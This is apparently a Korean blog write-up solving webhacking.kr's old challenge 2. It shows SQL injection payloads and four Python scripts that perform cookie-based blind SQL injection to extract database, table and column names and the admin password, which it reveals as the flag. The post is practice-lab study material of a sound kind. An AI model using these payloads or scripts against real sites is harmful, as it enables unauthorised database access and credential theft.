dalgorithm
달공의 개발기
dalgorithm
전체 방문자
오늘
어제
  • 분류 전체보기 (170)
    • Back-end (0)
    • Java (11)
    • 자료구조 (7)
    • Network (31)
    • Database (9)
    • Baekjoon Online (24)
    • 클라우드 (6)
    • Android (15)
      • Kotlin (14)
    • AI (27)
      • Machine Learning&Deep Learn.. (27)
    • Web (23)
      • Webhacking (17)
      • WebProgramming (6)
    • 기술면접 (1)
      • JAVA&자료구조 (0)
      • Spring (0)
      • 컴퓨터구조&운영체제 (0)
      • 네트워크 (0)
      • 데이터베이스 (0)
    • CTF 스터디 (15)
    • 대외활동 (1)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

인기 글

태그

  • 딥러닝
  • CTF
  • python #백준
  • db
  • 네트워크
  • java
  • 코드리뷰
  • cs
  • 클라우드
  • Guacamole
  • 자바
  • 자료구조
  • kotlin
  • 인공지능
  • 데이터베이스
  • 웹해킹
  • 머신러닝
  • gcp
  • 포너블
  • 침입탐지

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
dalgorithm

달공의 개발기

Webhacking - challenge(old) 2번
Web/Webhacking

Webhacking - challenge(old) 2번

2021. 11. 8. 21:28
728x90

 

웹해킹 challenge_old 2번 문제를 풀어보았다.

특별한 정보가 없어 소스코드를 확인하였다.

 

해당 주석문을 통해 단서를 얻을 수 있다.

 

첫번 째 주석문은 시간을 의미한다.

<!--2021-11-08 09:06:56-->

 

두번째 주석문은 admin.php가 존재함을 알려준다.

admin.php로 이동해보니 비밀번호를 입력하는 창이 나오는데,

SQL 문제라고 생각되어 'or 1=1--으로 값을 대입해봤지만 wrong password라고 나타났다.

 

일단 비밀번호에 대한 정보가 없기 때문에 시간 주석을 활용해봐야한다.

시간은 현재의 시간 값을 가리키고 있지만, 이를 해봄으로써 

Blind SQL Injection이 적용될 수 있다고 생각 할 수 있다.

 

우선 DB내의 테이블 개수를 확인해야하기때문에 COUNT를 사용하였다.

(select count(table_name) from information_schema.tables where table_schema=database())

 

 

테이블 개수는 2개인걸 확인 할 수 있다.

 

이 다음부터는 오랜 시간 고민하였지만, 문제해결 방법을 찾지못해 구글링을 하였다.

그 다음으로는 테이블 길이를 추출한다.

(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)

 

 

09:00:13 인 것으로 보아 첫 번째 테이블은 13자리인 것으로 확인된다. 

 

그 다음은 테이블 명 추출이다.

(select ascii(substring(table_name,1,1))from information_schema.tables where table_schema=database() limit 0,1)

 

 

1분 37초 하면 총 97초로 'a'인 것으,로 확인된다.

이러한 방식으로 하나하나 해서 값을 출력해볼 수도 있지만, 너무 오래걸리기 때문에 파이썬을 통해

웹크롤링을 해야한다고 한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
 
url ="https://webhacking.kr/challenge/web-02/"
ck = ""
db = ""
table = ""
columns = ""
pw = ""
 
for i in range(1,100):
    if ck ==1:
        break
    for k in range(33,133):
        cookies={"Cookie" : "PHPSESSID=세션값; time=0 || if(ord(substr((select database()),{},1))={},1,0)".format(i,k)}
        #ord(c) : 문자의 아스키 코드 값을 돌려주는 함수 / chr 함수와 반대
        r =requests.get(url,cookies=cookies)
        if r.text.find("09:00:01") != -1:
            db+=chr(k)
            break
        if k == 132:
            ck =1
print("Database : {}".format(db))
Colored by Color Scripter
cs

 

다음 결과로는 Database : chall2라고 뜬다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
 
url ="https://webhacking.kr/challenge/web-02/"
ck = ""
db = ""
table = ""
columns = ""
pw = ""
 
for i in range(1,100):
    if ck ==1:
        break
    for k in range(33,133):
        cookies={"Cookie" : "PHPSESSID=세션값; time=0 || if(ord(substr((SELECT group_concat(TABLE_NAME)"
                            "FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='chall2'),{},1))={},1,0)".format(i,k)}
        r =requests.get(url,cookies=cookies)
        if r.text.find("09:00:01") != -1:
            table+=chr(k)
            break
        if k == 132:
            ck =1
print("Table : {}".format(table))
Colored by Color Scripter
cs

 

이번에는 테이블 명 추출이다. 

테이블명은 admin_area_pw, log이다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
 
url ="https://webhacking.kr/challenge/web-02/"
ck = ""
db = ""
table = ""
columns = ""
pw = ""
 
for i in range(1,100):
    if ck ==1:
        break
    for k in range(33,133):
        cookies={"Cookie" : "PHPSESSID=세션값; time=0 || if(ord(substr((SELECT group_concat(COLUMN_NAME)"
                            "FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_area_pw'),{},1))={},1,0)".format(i,k)}
        r =requests.get(url,cookies=cookies)
        if r.text.find("09:00:01") != -1:
            columns+=chr(k)
            break
        if k == 132:
            ck =1
print("COLUMN : {}".format(columns))
Colored by Color Scripter
cs

 

컬럼명 출력이다.

admin_area_pw : pw

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
 
url ="https://webhacking.kr/challenge/web-02/"
ck = ""
db = ""
table = ""
columns = ""
pw = ""
 
for i in range(1,100):
    if ck ==1:
        break
    for k in range(33,133):
        cookies={"Cookie" : "PHPSESSID=세션값; time=0 ||"
                            " if(ord(substr((select pw from admin_area_pw),{},1))={},1,0)".format(i,k)}
        r =requests.get(url,cookies=cookies)
        if r.text.find("09:00:01") != -1:
            pw+=chr(k)
            break
        if k == 132:
            ck =1
print("Password : {}".format(pw))
Colored by Color Scripter
cs

 

최종적으로 패스워드를 출력해보면

Password : kudos_to_beistlab

이라고 나타난다.

 

추출한 패스워드를 admin.php 입력창에 입력하게되면 성공하게 된다.

 

너무 어렵다....공부 열심히 하자...

728x90

'Web > Webhacking' 카테고리의 다른 글

Webhacking - challenge(old) 23번  (0) 2021.11.13
Webhacking - challenge(old) 55번  (0) 2021.11.08
Webhacking - challenge(old) 27번  (0) 2021.10.16
Webhacking - challenge(old) 18번  (0) 2021.10.16
Webhacking - challenge(old) 26번  (0) 2021.09.25
    'Web/Webhacking' 카테고리의 다른 글
    • Webhacking - challenge(old) 23번
    • Webhacking - challenge(old) 55번
    • Webhacking - challenge(old) 27번
    • Webhacking - challenge(old) 18번
    dalgorithm
    dalgorithm

    티스토리툴바